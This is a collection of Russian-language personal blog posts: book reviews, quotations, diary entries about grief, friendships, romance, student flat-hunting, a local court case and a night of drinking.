«- Какой тяжёлый год!

— Знаете почему? Потому что високосный. Следующий будет счастливым, вот увидите! Следующим был тысяча девятьсот сорок первый»

6. «Дом, в котором…», Мариам Петросян

Как же мне понравилась эта книга! Я читала ее два раза! Причем подряд, сразу же после прочтения, я принялась перечитывать ее снова, находя ответы на вопросы, которые были незамечены мной сначала.

Книга захватывает, не отпускает до самого конца, и заставляет возвращаться к ней снова и снова. Необычная и очень интересная. Грустная, волшебная, захватывающая и временами пугающая.

Все, больше не буду ничего писать! На лайвлибе столько хороших рецензий ;) )

«Самая неприятная тишина там, где много людей молчат»

7. «Книжный вор», Маркус Зусак

Я просто захлебывалась в собственных слезах и сморкалась в рядом лежащее мокрое полотенце (до этого я мыла голову).

Книга стала одной из моих самых любимых. Книга, которая разбила мне сердце и выжала из меня всю душу.

«Они просто вместе шли домой: ноющие стопы, усталые сердца»

8. «Дорога никуда», Александр Грин

Я принялась читать ее подвергнутая легкой меланхолией в надежде, что эта книга станет мне своего рода лекарством от хандры. На первых порах, мне вроде как становилось легче, но потом я мысленно материлась, старалась прочитать некоторые участки книги как можно скорее.. Как же меня раздражали некоторые персонажи, как же хотелось взять и настучать им по их бесстыжим головам! Просто ух!

Не могу сказать, что книга мне не понравилась. Понравилась, она достаточно интересна, НО осадочек то, осадочек то остался.

«— Что, милая? — сказал он. — Беззащитно сердце человеческое?! А защищенное — оно лишено света, и мало в нем горячих углей, не хватит даже чтобы согреть руки…»

9. «Белый клык», Джек Лондон

Я закончила читать эту книгу вчера ночью и могу сказать, что полюбила ее. Полюбила ее так же, как и «Бродяг с севера» Кервуда. Хорошая книга.

Я не знаю, не имею ни малейшего понятия, как эта книга прошла мимо меня в детстве. Саша, что ты вообще читала?

Но, с другой стороны, я думаю, что каждая книга приходит к человеку в нужное время, так и с «Белым клыком». Одна из любимых историй на века.

«Тело его терпело поражения, но дух оставался неукротимым»

Джером К. Джером

"Трогательная история "
" Памяти Джона Ингерфилда и жены его Анны "
" Человек, который хотел руководить "
" Человек, который не верил в счастье "
" Падение Томаса Генри "
" О том, что не надо слушаться чужих советов "
" Дух маркизы Эплфорд "
" Сюрприз мистера Милберри "
" Как зародился журнал Питера Хоупа "
" Должны ли мы говорить то, что думаем, и думать то, что говорим? "
" Почему мы не любим иностранцев "
" Миссис Корнер расплачивается "
" Лайковые перчатки"

Рассказы этого человека какое-то сплошное чудо, честное слово. Они до жути милые, светлые, не скажу, что глубокие, потому что суть и соль лежат на самой верхушке, но в этом и есть их своеобразная прелесть - они наивны и просты аки дети.

"Миссис Корнер расплачивается" - вообще лучшее. Я влюбилась. Там вся суть женщин, понимаете?

Если бы можно было хватать рассказы за щеки и хихикая прижимать к груди, так эти созданы для подобных манипуляций!

А еще вчера мы выбрались на чудную встречу одногруппниц. Прошло уже 4 года со дня выпуска и 7 лет с поступления, и вот - вокруг все те же лица, только уже мужьями и детьми, как гирляндами, обвешены.

В общем, фото-огонь, но лучше подожду их от фотографа из бара :D

даже не знаю с чего начать…
вообщем- ты в моей голове уже неделю!

Ну неужели так сложно просто всего лишь быть осторожной, И никого не любить никогда.

единственный человек, который видел мои слабости. который знал меня. и знаете где он теперь? правильно, его нет. вот так.

– Я думаю, что мы никогда больше не увидим друг друга.
– И это делает ваше лицо таким сияющим?

Гастон Леру “Призрак оперы”

TRUST NO BITCH

Давненько я ничего не писала о сериалах, не потому, что не смотрела их, а потому, что нет у меня больше надобносити выливать весь свой единорожий восторг в блог. НО. Есть один сериал, о котором мне непременно хочется написать - Orange is the new black. До нового сезона еще ждать почти год, а я уже на стенку лезу. Самое главное здесь - персонажи. ОМГ, насколько же они многогранные! Ты можешь их любить, а через пару серий ненавидеть и наоборот.

Кстати, главнй персонаж Пайпер у меня больше вызывает неприязнь, нежели какие-то положительные эмоции. Как говорится, волк в овечьей шкуре. Вся эта псевдоправильность, которая так и льется из нее, аж фу, вызывает отвращние.
Наверное, самыми любимыми персонажами у меня стали: Пуссе [боже, вот здесь я просто ору, я люблюлюблюлюблю ее!], Никки [я так по ней скучаю], Морелло, Даянара, Бурсет, Алекс, Марица, Тейсти, Сосо, Пенсатаки.

Любимая Пуссе.<3

Обожаю корпус с испанками. :D

И мне срочно надо Никлз в 4-й сезон! OITNB не OITNB нее.

Кстати, посмотрите это крутое видео. У меня оно уже который день на репите. :D

Понял, что за последнее время стал более спокойным и уравновешанным. Возможно, где-то внутри еще бьются страсти, но я словно упрямый остров, которому не страшны никакие цунами со стороны океана.

Понял, что поддерживать в себе мерный и ровный огонь - самое трудное, что может выпасть на долю человека. Куда проще сидеть у костра, подпидывать дровишки и смотреть, как пламя уходит куда-то ввысь. Но однажды дрова заканчиваются, под рукой нет канистры с бензином и приходится "ломать" себя и учиться быть не только внешне спокойным, но и внутренне.

Понял, что разовое мужество - это тоже мужество и чтобы решиться на одноразовый подвиг, нужно быть Человеком. Возможно, не совсем Личностью, но Человеком нужно точно быть.

Понял, что созерцание - залог здорового пофигизма в отношениях с окружающими. Одно дело когда ты сжигаешь леса до тла - у народа бесконечное кол-во притензий к тебе, а другое, когда ты эти леса сажаешь - хоть благодарностей нет никаких, но и с вилами к твоей избушке никто не мчится. Это, определенно, плюс.

Понял, что бороться с собой - не попытка женщины за дцать вернуть себе свою молодость путем пластических операций. Борьба с собой - еще одна ступень эволюции, которую проходит каждый человек, желающий жить с собой в мире.

Наша жизнь не может все время быть насыщена только хорошими событиями. Иногда в ней происходят вещи грустные и даже непоправимые. Так произошло и со мной. Через два месяца, будет уже 3 года, как не стало моей любимой бабушки. Чтобы как то описать масштабы значимости этого человека в моей жизни, скажу что таких людей у меня двое. Было. Мама и бабушка. Теперь осталась только мама. Не могу сказать как я это пережила, потому что кажется, еще не пережила. Я помню все как будто это было вчера и до сих пор не могу поверить в то, что ее нет. Совсем нет. И никогда уже не будет. До сих пор, пересматривая фото, в голове один вопрос: бабуль, да ладно?? Ну неправда все это, неправда. Но чудес не бывает, и тот кто уходит навсегда - уже не возвращается, как будто бы что то забыл, или ему там не понравилось, или потому что принял поспешное решение, уйдя. Хотела сказать, что я скучаю. Это такая безмолвная скука, скулящая где то внутри тебя и постоянно кровоточащая. По чуть чуть.. В тот момент, когда все это случилось, большая часть моего мира рухнула. Такие раны не заживают. Они просто затягиваются тонкой пленкой, посмотрев сквозь которую, можно переживать этот кошмар раз за разом. Я больше не ощущаю себя в полной безопасности, нет той тихой гавани, которой являлся ее дом. Дом, где можно чувствовать себя ребенком в 10, 20 и даже 50 лет. Многое изменилось с тех пор. Но одно останется неизменным- человек жив, пока жива память о нем. Я тебя помню. Я тебя люблю. Спи спокойно.

Я ненавижу, когда трогают моё. А ещё я ненавижу, когда тырят моих друзей. Я в бешенстве. Увидела сейчас, как моя не чужая мне подруга, добавила моего знакомого. Хотя у самой есть мч. Я уверена, что это она кинула ему заявку, ибо он бы никогда сам на неё не клюнул. Сука, ну зачем?

Вчера в нашем днищески был день города и приехал Крид, которого все ждали как из печки пирога. В итоге время его выступления меняли десять раз, басы включили так, что слов было вообще не разобрать, еще и ко всему этому шел дождь. Мы не стали залипать на Егора, т.к его было не видать через орущую толпу, и пошли искать ближайший магаз, ибо стало настолько скучно, что друзья решили выпить. Все магазины, которые мы знали, были закрыты. Все приуныли, ибо других магазинов, которые бы работали, не знали (т.к. город-дно, у нас всего пара, ПАРА магазинов по всему городу, которые работают хотя бы до одиннадцати часов). Ну и я, осмелев, подошла к парням, которые стояли неподалеку от нас. Спросила на счет магазинов, они сказали, что надо идти на другой конец города, назвали адрес. Я понятия не имела где эти магазины, поэтому попросила их проводить нас. Ну и, пока мы шли до этого магазина, познакомились. Один пытался клеить меня) Оч симпатичный и приятный по общению мальчик. Ночью он мне написал, позвал гулять, засыпал комлиментами) Ну и сегодня должны были встретиться, но дождь сломал все планы;(

Еще поняла одну вещь, чтобы в будущем никто не осуждал твои действия и никто на них не влиял, чтобы все решения были приняты только самой лично, никогда не рассказывайте о своих отношениях другим! Никого это не должно касаться, кроме вас двоих!

Here with a Loaf of Bread beneath the Bough,

A Flask of Wine, a Book of Verse---and Thou

Beside me singing in the Wilderness---

And Wilderness is Paradise enow.

Ah, make the most of what we yet may spend,

Before we too into the Dust descend;

Dust into Dust, and under Dust, to lie,

Sans Wine, sans Song, sans Singer, and---sans End!

(Rubaiyat of Omar Khayyam)

Не бойтесь прощать людей только из-за того, что скоро придётся снова прощать. Вспомните, сколько всего когда-то было прощено Вам.

(с) из книги "Поэтому ты со мной".

Иногда важно остановиться. Иногда лучше остановить всё сейчас, а не ждать, пока всё окончательно рухнет. Иногда лучше оставить самые нежные воспоминания о лучших отношениях в Вашей жизни, чем доводить всё до нуля, истерик и ненависти. Иногда лучше просто сказать "спасибо" и уйти.
Иногда нужно вовремя остановиться и отпустить. Это будет лучше, чем опускаться до ненависти.

(с) из книги "Поэтому ты со мной".

И я понял в этот момент, по кому скучаю. Я понял, какого человека мне не хватает в жизни. Я со всей ясностью осознал, по кому я невыносимо тоскую, тоскую давно, и кого мне так недостаёт каждый прожитый мною день. Это конкретный человек. Мне он необходим, и я по нему скучаю. Я скучаю по себе, счастливому.

Е. Гришковец

Привет.я так давно не заходила в гости, простите.полистала знакомые странички, так хорошо сразу стало.буду исправлять положение, стараться заходить почаще.с маленьким ребенком это не так уж легко, но всёже пытаться буду

“Я ніколи не могла забути когось, з ким була. Адже кожна людина… знаєш, зі своїми особливостями, характерними рисами. Ніколи не можна когось просто замінити. Що втрачено – то втрачено. Будь-які відносини, завершуючись, просто вбивають мене. Я ніколи не можу повністю оговтатися. Тому я так обережна зі зв'язками… так боляче! Я сумую за найбільш буденним в людині. Я взагалі одержима дрібницями. Може, я божевільна… Коли я була маленькою, мама зробила мені зауваження, що я постійно запізнююсь в школу. А одного разу вона простежила за мною, щоб зрозуміти чому… І ось… я дивилася, як з дерев падають каштани, потім течуть уздовж тротуарів…. або як мурахи повзуть через дорогу… або яку тінь відкидає лист на стовбур дерева. Дрібниці. Думаю, так само і з людьми. Я помічаю в них деталі, дрібниці, такі особливі в кожному; те, за чим я буду сумувати… і завжди сумую. Неможливо нікого замінити, тому що кожен складається з прекрасних унікальних рисок." — Перед заходом

все бы ничего, но я уже кажись начала привыкать, что, как мне казалось, мы отдалялись друг от друга. мы же кажется так решили. что он мудак, а я все вечно порчу. а потом эти разговоры в скайпе. даже не столько мы говорили, сколько смотреи друг на друга. и я, блять, влюбилась снова.

Всегда поражают девушки с засосами на шее. Вы думаете, что выглядете круто? Ну если ваша цель прослыть первой прошмандовкой на селе, то видимо да. Поверьте, милые, нам всем безумно интересно, что в вашей жизни есть секс! Может я чего то не понимаю в этой жизни, но по-моему это полное неуважение к партнеру. Или показуха, мол смотрите, я трахаюсь. То, что происходит между двумя людьми, как по мне, это сугубо интимно и не приемлет чужих глаз. Когда я вижу эти синюшные кровоподтеки со следами зубов, у меня происходит культурный и эстетический шок. Однажды я пришла в один небезызвестный магазин одежды, где одна милая на вид девушка рассчитывала меня на кассе. Убранные волосы, приветливая и улыбчивая, хоть на доску почета вешай и премию выдавай. Но когда мои глаза увидели ничем не прикрытую, наполовину обглоданную шею, первое, что я хотела сделать, взять покупку и бежать. Но пока она рассчитывала меня (я расплачивалась по карточке), ждала запроса от банка, пока печаталаись многомиллионные чеки, мой взгляд был намертво прикован к следам преступления на ее шее. Сочувствие, граничащее с отвращением, вот что я чувствовала к этой продавщице. Н-Е-П-О-Н-И-М-А-Н-И-Е. Куда смотрит ее работадатель? Я понимаю, что в магазинах, как правило, как такового дресс кода нет и все ходят в одинаковых футболках с логотипом фирмы, но можно же было надеть водолазку или хотя бы прикрыться шарфиком? Не знаю, может это я такая дотошная, но я, хоть мне и противно промолчу, а кто-то из клиентов нет. И мне бы не хотелось, чтобы кто-нибудь возраста моих племянниц (12 лет), смотрел на сие чудо, обсуждал, расспрашивал у родителей. Думайте что хотите, читающие, возможно меня, как наверняка кто-то подумал, бомбит по этой теме, но я хочу донести сию мораль: Dear girls, если уж позволяете своим партнерам себя грызть, то умейте маскировать свои увечья.

Новые следящие, привет! :) 161!!!

— Я собираюсь вернуться к своим корням.

Сегодня оочень болит живот, просто ужасно. Умираю: (
Это все потому что перестала пить таблетки, я допила одну порцию и теперь надо 7 дней отдохнуть. Это только третий день. Капеецц. Дожить бы))
А если честно, надеюсь в общаге он не будет так болеть, а то как мне веселиться? :D

+ на 1 сентября собираюсь одеть новую юбку и кофту, и, соответственно, одеть туфли. ДА ЕПТА ЛИНА БУДЕТ ДЕВОЧКОЙ НА 1 сентяря ахахахах. Если не передумаю.! :D Так вот с такими ужасными болями в животе я не смогу проходить.. Хотя можно будет выпить что-нибудь от боли. Хм. Идейка

Сегодня будет туса, будут шашлычки :D Скину вам ближе к ночи фотки)

Еще утром мне написала Саша и жаловалась, что Артем ее игнорит. АХА-ХА-ХА.
Ой, не знаю, плохо это или хорошо, но лично для меня гуд. Ну по сути это что-то в стиле плохого Артема, но для меня это "Ну наконец хоть что-то хорошее от него!". Аахахах… моя тупая логика :D
Ну короче, она сказала, что он какой-то безэмоциональный и она хотела пожаловаться на бывшего. Кстати, он ко мне такие клинья подбивает, капеецц :D Зовет в Запорожье с ночевкой, говорит гооо гулять, еще сказал, что моя красота должна быть описана поэтами и писателями ахахахахахахах. Правда жалко Сашу, она по нему очень сохнет и переживает, волнуется. А тут и бывший пишет мне, и Артем - типа единственный ее друг, ее игнорит. = (Ну ничего. Я ее не брошу. Кстати, во вторник я ее позвала в кафе.. Еще Соню и Иру, конечно. А в среду, думаю, только с Сашей поехать на мафию. Она сможет познакомиться там с кем-то, там много парней и они все взрослые. Покажет себя. Главное не брать Соню и Иру, чтобы они на себя от нее внимание не забирали. Очень хочу помочь ей, в общем.

Еще я уже не выдерживаю, когда 15-летние пишут мне ПРИВЕТ!!!!!!!!!! НУ ПРОСТО НЕ ВЫДЕРЖИВАЮ. Мне стыдноооо им даже скобочку прислать. Ну не пишите мне, умоляю=(

Смотрю анимешку клевую, играю в доту, хожу по магазинчикам.. :D
Короче, не жизнь, а рай. Ахахахаха.. Что-то я сегодня веселенькая. х)

Закончу тем, чем начала:
ПИЗДЕЦ ЖИВОТ БОЛИТ УМИРАЮ НИМАГУУ

Всем добра!)

еще один пост в этом книжном марафоне. на сей раз писать буду немного, поскольку эту книгу я не читала, а просто знаю о ее существовании.

книга основанная на ТВ-шоу, или по которой его сняли.

повторюсь еще раз - я не читала данное произведение, но почему-то мне кажется, что оно должно оказаться достойным в контексте современной литературы. не стоит ожидать уникального сюжета и очень неожиданных поворотов событий, но думаю, что "Хемлок Гроув" должен понравиться из-за достойных персонажей и неплохой задумки.
говорю я так не только из-за природной интуиции, а потому как смотрела сериал, основанный на книге. он довольно интересен и непохож на типичные американские ТВ-шоу вроде ДВ или Древних, проскальзывают намеки на артхаус. ab imo pectore, весь сюжет сериала основан не на фактах и событиях, а на догадках, намеках, анализе событий. после окончания первого сезона остается тысяча вопросов и непонимание произошедшего; финал также оказался достаточно впечатляющим, его нельзя было предугадать.
кончено же, большинство девушек смотрят и любят "Хемлок Гроув" не из-за событий, происходящих в сериале, а из-за прекрасного Романа Годфри, его друга Питера Руманчека и всего того слеша, который проскальзывает между ними. выскажу свое мнение: химии между ними я не вижу, разве что тончайший намек со стороны Романа. но повторюсь еще раз: мои предпочтения в таком понятии как слеш весьма специфичны, для меня канон - капитанПэн (не судите строго).
может быть, стоит добавить сию книгу в свой reading list, поскольку если сериал достаточно хорош, то книга должна быть лучше.

Я атеист. На все 146%.

Без вот этих вот лицемерных «ну что-то наверное все-таки там есть». Без кокетливого «ах, я немного агностик».

Нет. Ничего такого я не допускаю. Меня устраивает биологическая модель мира. Физика, астрономия, математика. Психология. Мне вполне комфортно в тех рамках, которые создаёт наука. Потому что я вижу подтверждение слов делами. Если есть сила тяжести — я вижу, как пресловутое яблоко падает вниз. Меня не заставляют поверить — мне показывают весь механизм от начала и до конца.

И меня абсолютно не раздражает, что кто-то не атеист. Мне совершенно всё равно, нарисует ли кто-нибудь карикатуру на атеистов, снимет ли кто-то скабрезный фильм про атеистов или же напишет про них едкую песню. Я не обижусь, не затаю зло и уж точно не пойду никого убивать за это. Если кому-то смешно, что я не верю ни в одного из многочисленных богов, которые есть у человечества — пусть себе смеётся. На здоровье! Я согласна быть смешной в таком случае. Смотрите — я не кланяюсь нарисованному на дощечке старичку! Я не приношу фрукты и цветы глиняному истукану! Я не читаю послания на непонятном мне языке неизвестному мне человеку, которого я должен любить больше всего на свете. Вот же я нелепый. Ха-ха-ха! Посмейтесь надо мной!

Я готова, вот прямо сейчас, в мать его двадцать первом веке признаться, что не верю ни в чертей, ни в ангелов, ни в воскресающих мертвецов, ни в прочие чудеса. И мне не стыдно. У меня в принципе нет такой потребности — верить. Мне вполне хватает того, что я знаю и что можно узнать, что можно потрогать и что можно увидеть собственными глазами. Я не умею« видеть сердцем» и «чувствовать душой», и мне это абсолютно не нужно.

У меня нет никакой души, и после смерти я никуда не попаду. Атомы, из которых сейчас я состою, просто распадутся и вновь смешаются с атомами остальной Вселенной. Какое ещё бессмертие вам нужно? Лично мне – большего и не надо. Полностью довольна таким раскладом.

Я не подам на вас в суд, за то, что вам смешно моё мировосприятие, не перекрою вам движение, по причине своего религиозного праздника, не буду вас ни с чем поздравлять, не буду ждать ответных поздравлений, не стану вас призывать принять мою веру, не обвиню вас в неполноценности, лишь от того, что вы не придерживаетесь моих религиозных взглядов. И я не знаю ни одной войны, начатой атеистами во имя торжества атеизма. Я не знаю ни одного теракта, совершённого во славу атеизма.

Мне интересно, сможем ли мы пережить разъединение?

Согласитесь, глядя на своих друзей, с которыми ты проводишь каждый день в шуме и веселье ты врят ли задумаешься о том, когда вы перестанете быть так близки. Когда пройдете мимо друг друга на улице, когда не позвоните в свободную минутку, когда все фото будут стерты, воспоминания забыты, а дружба - как будто и не было никакой дружбы.
У всех в детстве было много друзей, даже если вы этого и не осознавали. Это были ваши одноклассники, что были рядом с вами дольше, чем родители, это друзья с вашего двора, с которыми вы разбивали коленки и пили первое пиво, это пара знакомых в деревне, что скрашивали ваше время в непривычной обстановке. И если сложить их всех, то получалось большое количество друзей, от которого теплеет на сердце.
Но проходит время… В голове крутится одна цитата Ремарка: "Удивительно, как легко отказываешься от того, с кем вчера, думалось, невозможно расстаться." И это действительно так! Лучшие друзья превращаются в знакомых, а знакомые в пережитки прошлого. Даже твоя лучшая подруга, с которой ты делилась секретами, одеждой, косметикой и крышей над головой, становится кем-то, о ком вспоминать не хочется только из-за желания оставить о том времени только хорошие воспоминания.
Причиной тому может быть множество вещей - ссора, новые друзья, другие интересы, недопонимание, обида или усталость. Иногда вы просто понимаете, что больше не нуждаетесь друг в друге.
Вы перестаете гулять вместе, звонить, писать друг другу смс-ки, фотографии теряются, как связь, что была между вами. И наступает такой день, когда вы пройдёте мимо на улице и не узнаете. Он наступает у всех, этот день… День забвения вашей дружбы.

Но так ли это плохо, в сущности? Потому что сейчас, пройдя через огромное количество знакомств, имея за плечами много старых друзей, которых я так же предала "забвению", у меня есть всего два друга. Лучшая подруга - моя сестра, прошедшая со мной долгие годы дружбы. Не идеальная персона, а просто другая я, которая всегда поддержит меня не смотря ни на что. Мы вытерпели недостатки друг друга, прощали обиды и не смотря не на что не хотели терять эту связь. И есть друг … Тут не подойдёт слово "лучший". Он не тот человек, которому я звоню каждый день и пишу всякие глупости - для этого есть она. Просто, когда он рядом, на душе становится теплее. Обычные вещи кажутся чем то иным, а простые слова солнечными и весёлыми. И когда они рядом, все преобретает смысл.
И вот, имея рядом с собой, таких людей, с которыми я хочу пройти свой жизненный путь, я думаю, зачем мне кто-то ещё!? Ведь если есть они, то мне этого более чем достаточно.

Сегодня самому родному, самому прекрасному, самому лучшему на свете городу исполняется 146 лет.
С Днём рождения, мой Донецк ! Я люблю тебя бесконечно…
С Днём шахтера!

У меня такие странные чувства.Первый раз такое.После завтра 1 сентября, а я не еду на учебу.И как бы надо, ведь последний год, но я не еду..Жить мне там негде, тратить бешеные деньги ради того, чтобы поехать на один день - тоже не вариант для меня.Решила, что пока с работой не уляжется, в универ не поеду.

И теперь сижу дома.Странно наблюдать за тем, как все готовятся к учебному году, покапают тетрадки, ручки и все такое, а я нет. Даже хочется немного опять на пары.

Главное найти работу по специальности, все тогда разрулится.

Вчера меня с Артемом, мамой и Анжелой покрестили. Ничего особо не буду рассказывать, единственное - когда мама погружалась в купель, из ее уст выходили какие-то, кхм, непонятные и жутковатые звуки. Я вообще испугалась. Артем с Анжелой нормально погрузились, а я.. Вода была не холодной, но я как-то перенервничала или что, в общем, каждый раз, когда я выныривала, вопила "ой, мамочка" и т.п.

В церкви к маме подошла какая-то женщина и отвела в сторону. Потом мама подошла к Артему и стала спрашивать про какое-то изнасилование. Артем ничего не отвечал.

В общем, это случилось где-то 10 июля(точную дату не помню). Друзья и одноклассники Артема собрались на какой-то квартире. Как оказалось, там была даже девочка-отличница, которую ставят всем в пример. Выпивали. Ну и к какой-то из девочек начали приставать мальчики. Вроде бы изнасиловали. Артемин друг(идиот, слов нет) снимал все на видео и выложил вк. Дело возбуждено, уже было судебное заседание, в октябре будет еще одно, на котором вынесут приговор. Двое сидят в СИЗО. Я их знаю: один ходил с Артемом на баскетбол, маленький такой, худенький. Его мама вечно над ним тряслась, одна воспитывала, помню, звонила ему по сто раз, когда он был у Артема в гостях. Второй мальчик-вот он реально какой-то бандит малолетний. Поведение отвратительное, отталкивающий такой. Тому, который снимал, вроде ничего не грозит(возможно, только условка. одна у него уже есть). Сейчас под домашним арестом. А остальным от 8 до 15 лет. Я просто в шоке. Куда мир катится? Мама сказала, что Артема с Женей Бог уберег, потому что Артем в это время был в деревне, а Женька в Новосибирске(а могли быть с той компанией!!). Женя-сын секретарши, которая работает в моей школе. Хороший мальчик, приятный, он с нами в деревне был. В общем, у меня нет слов. Просто перечеркнули себе жизнь. Вообще, эта девочка не сама написала заявление, а только рассказала брату и заявление писал он. Это такой ужас, я до сих пор не могу отойти. Мама вчера проводила с Артемом разъяснительную беседу насчет раннего секса. Да уж, многое, конечно, зависит от компании, в которую попадет ребенок, воспитание в этом случае отходит на второй план.

лишь два года спустя, читая незаменимую антологию нэнси митфорд "положение обязывает", я узнал, что слово "заурядный" используется лишь "заурядными" людьми, - новость довольно удручающая.

стивен фрай "дури еще хватает"

Носясь то здесь, то там, себе же на беду,

Я удручал и рвал на части ретивое,

Позорно продавал всё сердцу дорогое

И превращал любовь в кровавую вражду.

Но все тревоги те мне юность снова дали,

А непреклонность чувств и опыт показали,

Что ты хранишь в себе любви моей залог,

Хоть я и был всегда от истины далёк.

Так получай же то, что будет длиться вечно:

Не стану больше я дразнить свой аппетит,

Ввергая в бездну зол приязнь бесчеловечно,

А с нею и любовь, чей свет меня манит.

Итак - приветствуй, мой возврат благославляя,

И к сердцу своему прижми меня, родная!

Уильям Шекспир. Сонеты

открыла страницу на удачу. и.прямое попадание.пуля навылет.

Ты когда-нибудь осознавал, что мы можем изменить свои жизни в любой момент? Ты можешь просто взять и удалить свой блог, перестать есть мясо, побрить голову, начать бегать, сказать человеку, которого ты ненавидишь, почему ты ненавидишь его так сильно, признаться в любви кому-то и внезапно поцеловать его. Почему мы не делаем этого?

it's a beautiful lie.

а знаешь, в чём правда? это обязательно закончится.
просто потому, что у каждого человека есть свой предел,
даже если он о нём и не подозревает.
однажды всё зайдет слишком далеко.

в точку невозврата.

Хочешь быть счастливым? Выучись сперва страдать.

И.Тургенев.

Теперь, пожалуй, расскажу о хлопотах с квартирами.

Мы решили снимать двухкомнатную на четверых или однокомнатную на троих. В первый раз мы нашли объявление на авито (частное лицо) и решили приехать. Хозяйка, женщина лет 38, оказалась очень хорошей. Мы согласились снять эту квартиру, и она составила договор, оставив нам ксерокопию паспорта. Договорились, что найдем четвертую девочку и в конце августа заселимся. Троим платить было бы трудно. Но. Квартира была ужасна. Вечером мы об этом пожалели. Там не было нормальной кухни. Точнее заходишь в квартиру - и перед тобой холодильник, плита и раковина. Рядом туалет и ванная. Две комнаты такие маленькие… Кушать и готовить приходилось бы в комнате. Вся квартира всего 25 кв.м. На следующий день мы поступили некрасиво: позвонили и сказали, что не будем жить. Стыдно, но иначе не могли.

На следующий день начали новые поиски. Поехали в город с мамой Нади. На авито большинство объявлений - от каких-либо агентств. Мы поехали в одно из них и заключили договор стоимостью 1500 р. Они дали нам 4 адреса, и мы поехали на первый. Хозяин - мужчина лет сорока. Квартира прямо напротив дома Алеши (что огромный для меня плюс). Там очень чисто и просторно, а главное - полноценная кухня. Но хозяин сказал, что не согласен на трех девочек-студенток, только двух, ибо иначе будет бардак. И платить пришлось бы много. И еще врать. Этот Максим тоже соврал. Сказал, что живет далеко, а на самом деле в соседнем подъезде. То есть, этот вариант отпал сразу.

Второй адрес был совсем недалеко от первого. Мы подъехали и ждали хозяйку. Потом зашли в подъезд (она сказала второй этаж) и ждали ее там. Когда она подошла к подъезду, позвонила нам и, узнав, что мы вошли, со злостью спросила: "Вы что, такие смелые?!" Это ненормально ведь. Боялась, что мы соседям что-нибудь ляпнем и узнаем правду. Ладно. Дом - бывшее общежитие. Квартира была не из лучших, но с отличной ценой (10000, включая коммунальные). Дешевле мы не находили. Ладно. Мы согласились снова, потому что думали, что лучше уже не будет. Условия, конечно, были так себе… Ладно. Хозяйка отказалась заключать договор ибо ей "не нужна возня с бумажками". Она просила предоплату за 2 месяца, то есть 20000, и как можно скорее, иначе она сдаст квартиру другим. А до этого она говорила, что месяц ее сдать не может. Явно что-то не так, да? Договорились, что Надя привезет эти деньги на следующий день, а хозяйка отдаст ключи. Договорились встретиться на вокзале. Нормально, не правда ли? То есть она свободно могла бы отдать совершенно не те ключи, а потом пропасть с деньгами. Я приехала домой и рассказала маме. Ну, а мама моя мало того, что видит людей насквозь, так еще и очень бдительная. Как и папа, который раньше работал в милиции. Мама позвонила этой женщине и попросила привезти завтра с собой паспорт и написать расписку о получении денег с паспортными данными. По-моему, вполне нормальная просьба, если человеку нечего бояться. Эта тетка устроила истерику: "Вы мне ЧТО, НЕ ДОВЕРЯЕТЕ??? Да у меня впервые такое! Еще никто не просил ничего писать! Раз вы так меня подозреваете, у меня с вашими девочками будут проблемы!!!" Если бы ей нечего было бояться, она бы не истерила. К тому же, я не верю, что еще никто не просил хотя бы показать паспорт. Ладно. Потом договорились, что моя мама тоже приедет прямо на квартиру. Часа через два мама снова позвонила ей:

— Скажите, а вы - владелица квартиры?

— Да, конечно, я.

— Тогда покажите завтра, пожалуйста, свидетельство об этом.

— НЕТ!

— Почему?

— Я сказала нет! До свидания! - бросила трубку.

Мы, естественно, сказали об этом девочкам, и сошлись на мнении, что это действительно была аферистка (хотя девочки сначала долго упирались в обратное). На следующий день утром эта женщина позвонила Наде (поняла, что нужно договариваться с самыми наивными) и сказала, что квартира принадлежит племяннику, который живет в Дагестане. То есть нам она типа соврала. И эти дурочки, представляете, поверили! Я еще долго не могла уговорить их отказаться от этого варианта. То есть я сказала, что не согласна, а они были немного обижены. Но все-таки этот вариант отпал. Пока я была в больнице, они поехали искать дальше, а я должна была подъехать, когда освобожусь.

Когда я подъезжала к городу, Надя позвонила и в восторге сказала: "Вик, мы сейчас на Красноармейской. Тут такая квартира классная! Мы хотим тут жить! Тут…" - и начала расхваливать квартиру. Я приехала. Хозяйка оказалась очень хорошей. Ее зовут Оля, и ей 34 года. И квартира действительно классная. Много нужной мебели, чисто и платить сравнительно немного, если на четверых особенно. Мы остались там. на следующий день мама с мамой Нади заключили договор с Олей. Маме и она, и квартира очень понравились. Вот сейчас моогу смело заявить, что лучше мы не найдем. Вот, в пятницу девочки с парнями там уже остались… Наде, кстати, месяц назад исполнилось 17, а Наташе 17 будет только в сентябре. Это на случай, если у кого-то были вопросы. :)

Самый большой плюс - что недалеко от нас живет Алёша, и я буду ходить мимо его дома каждый день. Вчера мы в этой квартире убрались, но не до конца. Сегодня девочки должны были помыть кухню и туалет, а с ванной и залом я вчера справилась. Завтра я заселяюсь.

В забытом мире больше нет огня. Люди затушили его своей жадностью и похотью. Вокруг депресивные личности и люди с завышенным ЧСВ.

Как много мы теряем за этими эмоциями. Я хочу чувствовать мир, позновать его, не хочу боятся мнения людей, которые давят им на тебя. Ведь все вокруг знают лучше, чем ты. Твое мнение здесь никому не интересно, ты зажат.

Моя свобода-это небо. Каждую ночь я выхожу на улицу с горячим кофе и наблюдаю за маленькими огнями, которые являются на самом деле массивным шаром и вроде в них нет ничего особенного, но только их мерцания дает мне надежду, что мир еще жив.

А вообще, очень прошу не доводить этот и предыдущий пост до 30 лайков. Пусть это останется только между мной и моими читателями. Да и вообще это мой маленький позор. Спасибо заранее.

Вообще, мы вчера с девочками собирались потусить последние выходные перед учёбой. Ещё приехала Э., и мы поехали к А. на море, на променаде потанцевать. Э. взяла виски на нас двоих. А я так давно не пила. И виски вообще не пила. А и С. взяли себе пиво. Ещё пришёл друг парня А., который был на свадьбе и учится с моим бывшим (мир тесен). Ну и мы стали пить, веселились всё было хорошо. А я что-то так сильно напилась, меня просто унесло с виски. Почувствовала, что мне стало плохо. Пошла, прилегла. Ну и уснула, блять. Проснулась в 4:30, а дома никого. Охуеть. Они ушли танцевать на променад. А там на променаде был ещё один мой недобывший (мне будет ещё больше стыдно, если он узнает об этой ситуации). Но они даже, бля, не разбудили меня >.< Типа так хорошо спала. Пришли где-то через часик. Сказали, что туса там была говно, и я ничего не потеряла (хоть это радует, ага). Я была так зла, расстроена, ненавидила себя, и мне так стыдно. И я уехала на первом автобусе, хотя планировала ещё остаться. И вот сижу, в слезах из-за Ромы, мне до сих пор плохо. Не понимаю, то ли от алкоголя тошнит, то ли от голода. И всё было бы ахуенно, если бы я не уснула. Вообще не знаю, что со мной творится. Но я как не любила пить, так и не 